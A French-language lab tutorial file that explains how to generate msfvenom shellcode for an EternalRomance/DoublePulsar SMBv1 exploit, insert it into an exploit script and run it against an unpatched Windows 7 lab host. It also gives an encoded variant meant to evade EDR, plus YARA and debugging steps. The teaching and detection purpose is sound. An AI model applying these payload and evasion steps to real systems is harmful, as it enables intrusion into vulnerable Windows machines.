# shellcode.bin.txt - Placeholder pour générer un shellcode EternalRomance/DoublePulsar # À utiliser UNIQUEMENT dans un lab sécurisé (article 323-1 CP) # Par Platon-Y pour PCtamalou.fr """ Ce fichier est un guide pour créer un shellcode utilisé dans EternalRomance (CVE-2017-0144) ou DoublePulsar. Le shellcode est le 'poison' exécuté après l'overflow SMBv1. Ici, on explique comment le générer avec msfvenom pour l'intégrer à eternalromance.py (voir Étape 4 de index.html). Le shellcode est un binaire, donc ce .txt est un placeholder avec instructions. """ # Contexte """ Un shellcode est un petit bout de code machine (en hex) exécuté par l'exploit. Pour EternalRomance, il est injecté dans srv.sys après l'overflow pour obtenir un shell SYSTEM. On utilise msfvenom pour générer un shellcode sûr (ex. : cmd.exe) à tester en lab. """ # Étape 1 : Générer un shellcode avec msfvenom """ Commande pour créer un shellcode qui lance cmd.exe : """ msfvenom -p windows/x64/exec CMD=cmd.exe -f raw -o shellcode.bin """ Explication : - -p windows/x64/exec : Payload pour exécuter une commande (cmd.exe) sur Windows 64 bits - CMD=cmd.exe : Ouvre une invite de commande - -f raw : Format binaire brut - -o shellcode.bin : Sauvegarde dans shellcode.bin """ # Étape 2 : Intégrer le shellcode dans eternalromance.py """ 1. Ouvre eternalromance.py (voir /resources/eternalromance.py) 2. Remplace la ligne : shellcode = b"\xCC\xCC\xCC\xCC" # Test breakpoint par : shellcode = open('shellcode.bin', 'rb').read() 3. Sauvegarde et teste : python3 eternalromance.py """ # Étape 3 : Tester dans le lab """ 1. Configure ton lab (voir Étape 1 de index.html) : - Kali : 192.168.56.100 - Windows 7 SP1 : 192.168.56.101, SMBv1 actif, non patché 2. Vérifie SMBv1 : sc.exe query lanmanworkstation net start lanmanserver 3. Exécute eternalromance.py avec le nouveau shellcode 4. Observe : - cmd.exe s'ouvre sur Windows 7 si succès - Crash (BSOD) si erreur, analyse avec WinDbg (kd -kl; !analyze -v) 5. Capture trafic : wireshark -i eth0 -f "tcp port 445" """ # Étape 4 : Analyser avec YARA """ Vérifie que le shellcode est détecté par yara_eternal.yar : """ yara /nsa-reverse/resources/yara_eternal.yar shellcode.bin """ Si détecté, c'est un shellcode typique d'EternalRomance. """ # Dépannage """ - Shellcode non généré ? - Vérifie msfvenom : msfconsole; help msfvenom - Confirme installation : sudo apt install metasploit-framework - Pas d'exécution ? - Vérifie SMBv1 et service Server sur la cible - Teste avec un shellcode plus simple (ex. : int3 via \xCC) - Erreur dans eternalromance.py ? - Ouvre shellcode.bin en binaire : open('shellcode.bin', 'rb') - Vérifie la taille : ls -l shellcode.bin (doit être > 0) """ # Avertissement éthique """ Ce guide est pour l'apprentissage en lab sécurisé. Toute utilisation hors lab est illégale (7 ans de prison, 100 000 € d’amende). Signe le contrat éthique : /nsa-reverse/contrat_ethique.txt """ # Instructions supplémentaires """ Pour un shellcode plus furtif (ex. : bypass EDR) : """ msfvenom -p windows/x64/exec CMD=cmd.exe -e x64/zutto_dekiru -i 5 -f raw -o shellcode.bin """ Pour analyser le shellcode : - Ghidra : Importe shellcode.bin (Étape 3 de index.html) - Radare2 : r2 -AAA -d shellcode.bin; afl """ # "One shot, one kill : sois précis, sois éthique." - Platon-Y